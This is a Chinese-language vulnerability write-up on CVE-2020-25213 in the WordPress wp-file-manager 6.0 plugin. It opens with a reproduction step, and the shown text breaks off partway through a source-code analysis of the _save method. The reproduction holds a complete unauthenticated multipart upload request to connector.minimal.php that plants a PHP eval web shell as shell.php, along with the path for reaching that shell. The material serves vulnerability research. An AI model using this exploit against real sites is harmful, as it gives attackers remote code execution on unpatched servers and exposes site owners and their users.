WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现

WordPress 6.2

插件：wp-file-manager 6.0，File Manager (advanced view) – WordPress plugin | WordPress.org （https://wordpress.org/plugins/wp-file-manager/advanced/）

复现

后台，安装、启动插件

前台，提交请求包：

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
 
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
 
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
 
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
 
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马：http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

protected function _save($fp, $dir, $name, $stat)
{
  $path = $this->_joinPath($dir, $name);
 
  $meta = stream_get_meta_data($fp);
  $uri = isset($meta['uri']) ? $meta['uri'] : '';
  if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {